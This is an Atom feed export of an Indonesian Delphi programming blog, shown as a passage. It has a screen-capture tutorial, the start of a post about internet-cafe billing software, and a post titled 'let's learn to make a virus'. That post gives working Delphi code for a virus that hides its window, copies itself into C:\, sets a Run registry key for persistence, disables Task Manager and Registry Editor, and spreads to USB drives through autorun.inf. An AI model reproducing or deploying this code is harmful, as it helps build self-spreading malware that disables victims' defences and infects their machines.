<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6989619840839298269</id><updated>2011-11-11T17:55:40.479+07:00</updated><category term='Link Exchange'/><category term='Info'/><category term='Open Sorce'/><category term='Tips n Tricks'/><title type='text'>Blog Delphi .</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>34</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-6214794178153502447</id><published>2011-05-22T20:19:00.003+07:00</published><updated>2011-05-22T20:29:19.993+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips n Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Menangkap Gambar Desktop</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-p8J8Il8d7B8/TdkNoAhrlnI/AAAAAAAAAXw/fn44_TVGeZ8/s1600/winsnap_delphi_snapshot_screen_caputure.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 300px; height: 228px;" src="http://3.bp.blogspot.com/-p8J8Il8d7B8/TdkNoAhrlnI/AAAAAAAAAXw/fn44_TVGeZ8/s320/winsnap_delphi_snapshot_screen_caputure.png" alt="" id="BLOGGER_PHOTO_ID_5609529791853860466" border="0" /&gt;&lt;/a&gt;Atau, yang biasa disebut screen capture. Di Delphi, agar tidak menurunkan kualitas gambar hasil capture/snapshot, biasanya digunakakn TBitmap untuk menampung hasilnya. Nanti baru diubah ke format gambar lain yang diinginkan.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Tiap-tiap window di Windows memiliki handlenya sendiri, berupa bilangan bulat bertipe Dword (4 byte). Dekstop pun adalah sebuah window. Bila kita mengetahui handle sebuah window, kita dapat mengambil device context-nya (DC) berupa sebuah handle lain bertipe HDC (Handle of Device Context). Dari handle DC inilah, kita dapat mengcopy isi DC tersebut ke Bitmap.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Delphi mempermudah kita mengakses dan mengelola DC dengan sebuah class bernama TCanvas. Di atas TCanvas ini kita dapat menggambar, membuat teks, membuat efek-efek visual, ataupun menyalin dari dan ke Canvas lain.&lt;br /&gt;&lt;br /&gt;Berikut potongan kode untuk mengambil handle window Desktop, mengambil handle DC (HDC)-nya dan mengcopynya ke TBitmap, dan menampilkannya pada sebuah TImage di atas Form.&lt;br /&gt;&lt;br /&gt;01 function TFMain.SnapDesktop: TBitmap;&lt;br /&gt;02 var&lt;br /&gt;03 DC: TCanvas;&lt;br /&gt;04 HDesk: THandle;&lt;br /&gt;05 HCanvas: HDC;&lt;br /&gt;06 w, h: integer;&lt;br /&gt;07 begin&lt;br /&gt;08 HDesk := GetDesktopWindow;&lt;br /&gt;09 RefreshDesktop;&lt;br /&gt;10 DC:= TCanvas.Create;&lt;br /&gt;11 Result := TBitmap.Create;&lt;br /&gt;12 try&lt;br /&gt;13 dc.Handle := GetWindowDC(hdesk);&lt;br /&gt;14 w := Screen.Width;&lt;br /&gt;15 h := Screen.Height;&lt;br /&gt;16 Result.Width := w;&lt;br /&gt;17 Result.Height := h;&lt;br /&gt;18 BitBlt(Result.Canvas.Handle, 0,0,w, h, dc.Handle, 0, 0, SRCCOPY);&lt;br /&gt;19 finally&lt;br /&gt;20 DC.Free;&lt;br /&gt;21 end;&lt;br /&gt;22 end;&lt;br /&gt;&lt;br /&gt;Pada kode di atas, kita temui beberapa fungsi:&lt;br /&gt;&lt;br /&gt;GetDesktopWindow() untuk mengambil handle desktop Windows.&lt;br /&gt;GetWindowDC(handleWindow) untuk mengambil handle device context, dalam hal ini desktop Windows.&lt;br /&gt;BitBlt() untuk mengcopy isi sebuah device context (DC) ke device context lainnya. Dalam contoh di atas, mengcopy dari DC desktop ke DC Bitmap.&lt;br /&gt;&lt;br /&gt;Fungsi SnapDesktop di atas mengembalikan sebuah instance Bitmap yang kemudian dapat ditampilkan ke TImage, di-save ke file, atau diubah ke format gambar lainnya. Dalam contoh ini, Bitmap diubah ke gambar JPG (TJPEGImage) dengan kode berikut:&lt;br /&gt;&lt;br /&gt;1 jpg :=  TJPEGImage.Create;&lt;br /&gt;2 try&lt;br /&gt;3 jpg.Assign(VariabelBitmap);&lt;br /&gt;4 jpg.SaveToFile(NamaFile);&lt;br /&gt;5 finally&lt;br /&gt;6 jpg.Free;&lt;br /&gt;7 end;&lt;br /&gt;&lt;br /&gt;Dalam contoh kode yang tersedia untuk didownload, juga tersedia sebuah fungsi untuk memotong gambar sehingga hanya bagian tertentu saja yang diambil.&lt;br /&gt;&lt;br /&gt;Berikut tampilan contoh aplikasi:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-YN4g573USzU/TdkOUBlzG2I/AAAAAAAAAX4/A_mDqRvPXBE/s1600/1.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 150px; height: 114px;" src="http://3.bp.blogspot.com/-YN4g573USzU/TdkOUBlzG2I/AAAAAAAAAX4/A_mDqRvPXBE/s200/1.png" alt="WinSnap_delphi_snapshot_screen_capture" id="BLOGGER_PHOTO_ID_5609530548053810018" border="0" /&gt;&lt;/a&gt;&lt;a href="http://1.bp.blogspot.com/-oBLYLrz5LXM/TdkOUTHoBBI/AAAAAAAAAYA/pIe-_EyRQ5Y/s1600/2.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 150px; height: 114px;" src="http://1.bp.blogspot.com/-oBLYLrz5LXM/TdkOUTHoBBI/AAAAAAAAAYA/pIe-_EyRQ5Y/s200/2.png" alt="WinSnap_startup_windows" id="BLOGGER_PHOTO_ID_5609530552759092242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download&lt;br /&gt;&lt;br /&gt;Silahkan download WinSnap:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://delphi.c.pl/uploads/winsnap.exe"&gt;WinSnap Binary&lt;/a&gt; – 730KB&lt;br /&gt;&lt;a href="http://delphi.c.pl/uploads/winsnap.7z"&gt;WinSnap Binary&lt;/a&gt; (7Zipped) – 280KB&lt;br /&gt;&lt;a href="http://delphi.c.pl/uploads/WinSnap-src.7z"&gt;WinSnap Source&lt;/a&gt; (7Zipped) – 20KB&lt;br /&gt;&lt;br /&gt;UPDATE:&lt;br /&gt;&lt;a href="http://delphi.c.pl/uploads/WinSnap-with-snapwin.7z"&gt;&lt;br /&gt;WinSnap Binary + Source (7Zipped)&lt;/a&gt; – 300KB. Telah ditambahkan fungsi snap window tertentu. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-6214794178153502447?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/6214794178153502447/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=6214794178153502447' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/6214794178153502447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/6214794178153502447'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2011/05/menangkap-gambar-desktop.html' title='Menangkap Gambar Desktop'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-p8J8Il8d7B8/TdkNoAhrlnI/AAAAAAAAAXw/fn44_TVGeZ8/s72-c/winsnap_delphi_snapshot_screen_caputure.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-3673060678217428718</id><published>2010-10-06T14:50:00.004+07:00</published><updated>2010-10-06T15:09:57.459+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips n Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Mari belajar membuat virus... :D</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_E7ld_61SOLw/TKwuHxRzx4I/AAAAAAAAASg/1PKB7HzHQd4/s1600/pic_virus.jpg"&gt;&lt;img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_E7ld_61SOLw/TKwuHxRzx4I/AAAAAAAAASg/1PKB7HzHQd4/s320/pic_virus.jpg" alt="" id="BLOGGER_PHOTO_ID_5524841553898751874" border="0" /&gt;&lt;/a&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Kalo setuju silakan lanjut.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Tingkat kerusakan yang ditimbulkan virus sangat bervariasi tergantung kreatifitas sang penulis virus. Hal-hal yang biasanya dilakukan oleh virus (terutama virus lokal) antara lain:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="color: rgb(255, 255, 255);"&gt;&lt;li&gt;Menyembunyikan dirinya, artinya aplikasi akan berjalan tanpa sepengetahuan user&lt;/li&gt;&lt;li&gt;Meng-copy dirinya ke direktori sistem&lt;/li&gt;&lt;li&gt;Membuat dirinya otomatis dijalankan pada saat startup Windows&lt;/li&gt;&lt;li&gt;Mendisable fungsi-fungsi Windows tertentu seperti Task Manager, Registry Editor, dll&lt;/li&gt;&lt;li&gt;Men-copy dirinya ke media removable semacam flashdisk&lt;/li&gt;&lt;li&gt;Fungsi-fungsi lain seperti memunculkan pesan, menulis file tertentu, mengubah tulisan Start", dll.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Sekarang kita akan membahasnya satu-persatu. Peralatan yang dibutuhkan:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Yang udah pasti, Delphi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Kesabaran, ketelitian, mata yang sanggup memandang layar komputer berjam-jam&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Album Yovie &amp;amp; Nuno dan segelas teh panas ;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 255, 255);"&gt;Attack #1 - Menyembunyikan diri&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Kayaknya ini yang paling gampang deh, cukup ketikkan code berikut pada event form create:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Application.ShowMainForm := False;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 255, 153);"&gt;Attack #2 - Men-copy diri ke sistem&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Sebenarnya gak harus ke direktori sistem sih, ini kan cuma untuk contoh aja. Langsung aja kerikkan code ini:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;CopyFile(PChar(Application.ExeName), 'C:\MyVirus.exe', False);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 255, 153);"&gt;Attack #3 - Startup otomatis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Windows akan menjalankan program/script yang diletakkan pada:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="color: rgb(255, 255, 255);"&gt;&lt;li&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce&lt;/li&gt;&lt;li&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices&lt;/li&gt;&lt;li&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce&lt;/li&gt;&lt;li&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run&lt;/li&gt;&lt;li&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Run&lt;/li&gt;&lt;li&gt;HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows&lt;/li&gt;&lt;li&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\Run&lt;/li&gt;&lt;li&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices&lt;/li&gt;&lt;li&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce&lt;/li&gt;&lt;li&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce&lt;/li&gt;&lt;li&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx&lt;/li&gt;&lt;li&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run&lt;/li&gt;&lt;li&gt;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit&lt;/li&gt;&lt;li&gt;C:\Documents and Settings\All Users\Start Menu\Programs\Startup&lt;/li&gt;&lt;li&gt;C:\Documents and Settings\[username]\Start Menu\Programs\Startup&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Mo pilih yang mana ? Terserah. Untuk contoh kali ini, aku akan memilih registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Untuk itu, ketikkan code dbawah untuk mengakses registry dan membuat string value di path yg kusebutin diatas.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;uses&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Registry;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;var&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg : TRegistry;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg := TRegistry.Create;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg.RootKey := HKEY_CURRENT_USER;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', True);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg.WriteString('MyVirus', 'C:\MyVirus.exe');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg.CloseKey;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 255, 153);"&gt;Attack #4 - Disable tools bawaan Windows&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Ada banyak tools bawaan Windows yang bisa dipakai untuk melawan malware, karena terlalu banyak, aku cuma akan menjelaskan gimana cara blokir Registry Editor dan Task Manager. Yang lainnya kembangkan sendiri yach...!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;uses&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Registry;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;var&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg : TRegistry;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg := TRegistry.Create;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg.RootKey := HKEY_CURRENT_USER;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System', True);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg.WriteInteger('DisableTaskMgr', 1); //disable Task Manager&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg.WriteInteger('DisableRegistryTools', 1); //disable Registry Editor&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Reg.CloseKey;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 255, 153);"&gt;Attack #5 - Menyebarkan diri ke flashdisk&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Kebanyakan virus menyebar karena flashdisk yang dicolokin ke komputer yang telah terinfeksi. Biasanya virus tsersebut tidak lupa untuk membuat file autorun.inf agar virus tersebut otomatis dieksekusi pas dicolokin ke koputer lain. Dan demi kesederhanaan agar mudah dipahami, aku hanya akan mencontohkan proses penyebaran ke drive G:\&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;var&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Atr : TextFile;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;if FileExists('G:\autorun.inf')= False and&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;FileExists('G:\MyVirus.exe') = False then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;//virus belum men-copy dirinya, copy...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;CopyFile(PChar(Application.ExeName), 'G:\MyVirus.exe', False);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;//tulis file autorun.inf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;AssignFile(Atr, 'G:\autorun.inf');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;ReWrite(Atr);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WriteLn(Atr, '[autorun]');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WriteLn(Atr, 'open=MyVirus.exe');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;CloseFile(Atr);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;end;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Akan lebih baik lagi kalo code diatas dieksekusi secara periodik oleh timer. Silakan kembangkan sendiri attack-attack lainnya seperti memunculkan pesan, menulis file-file aneh, dll. Semoga setelah melihat sekilas alur penyebaran virus kita jadi lebih tau trik-trik untuk melindungi komputer kita tanpa antivirus. Semoga bermanfaat.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-3673060678217428718?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/3673060678217428718/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=3673060678217428718' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3673060678217428718'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3673060678217428718'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2010/10/mari-belajar-membuat-virus-d.html' title='Mari belajar membuat virus... :D'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_E7ld_61SOLw/TKwuHxRzx4I/AAAAAAAAASg/1PKB7HzHQd4/s72-c/pic_virus.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-360465192582529411</id><published>2010-09-05T11:52:00.002+07:00</published><updated>2010-09-05T11:59:13.015+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Contoh Aplikasi Billing Warnet</title><content type='html'>&lt;span class="Apple-style-span"   style="  color: rgb(51, 51, 51); line-height: 24px; font-family:Arial, Helvetica, Georgia, sans-serif;font-size:14px;"&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 15px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Entah beberapa hari ini saya lebih suka bernostalgia dengan &lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;program-program delphi&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt; yang pernah saya buat mulai dari semester 2 sampai semester sekarang ini. Kali ini adalah &lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;program atau aplikasi delphi&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt; yang kali pertama saya buat. Bisa dikatakan program ini sangat sederhana, kualitasnya juga tidak begitu baik. Saya sama sekali tidak menyarankan untuk menggunakan &lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;program delphi&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt; ini. Program ini adalah &lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;program billing &lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;yang bisa digunakan untuk&lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt; billing warnet&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;,&lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;game center&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;, &lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;rental komputer&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt; dan &lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;billing warnet wifi &lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;(didaerahku ada loh warnet wifi, jadi orang yang dateng harus bawa laptop sendiri. Per jamnya 1000 perak -solusi hemat bagi yang punya laptop). Karena ini program awal saya (bukan proyek, tetapi hanya pekerjaan pribadi saja) banyak sekali bugs, saya tidak bisa menjelaskan satu persatu, karena saya sendiri malah tidak bisa mengenali bugs itu. Akhirnya program tersebut berhenti dikembangkan. Hebatnya (saya kira begitu) program ini berhasil dikembangkan sampai versi 1.5. Ada beragam versi, mulai versi biling dengan database access, sampai dengan flat database(menggunakan text biasa sebagai penampung data). Anda bisa &lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;mendownload &lt;/span&gt;&lt;a href="http://hendr13.blogspot.com/search/label/Open%20Sorce"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;source code&lt;/span&gt;&lt;/a&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt; dan file binarinya&lt;/span&gt;&lt;/div&gt;&lt;span id="more-89"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Fitur program ini sebagai berikut:&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Flat Database feature&lt;/span&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Skin yang mudah diganti-ganti, seperti winamp. Skin ini menggunakan&lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;komponen SuiSkin&lt;/span&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;21 Client yang bisa di handle&lt;/span&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Multi Operator&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;, biasanya warnet buka 24 jam sehari, untuk itu diperlukan pergantian shif, maka program ini support multi operator, meskipun pada tahap yang paling sederhana &lt;img src="http://bimoweb.com/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-style: initial; border-color: initial; background-color: transparent; background-image: none; " /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Smart Recovery&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;, fitur ini digunakan untuk mengembalikan data-data biling jika komputer crash atau listrik down.&lt;/span&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Optimasi penggunaan memory komputer&lt;/span&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Quick notes feature&lt;/span&gt;&lt;/strong&gt;&lt;span 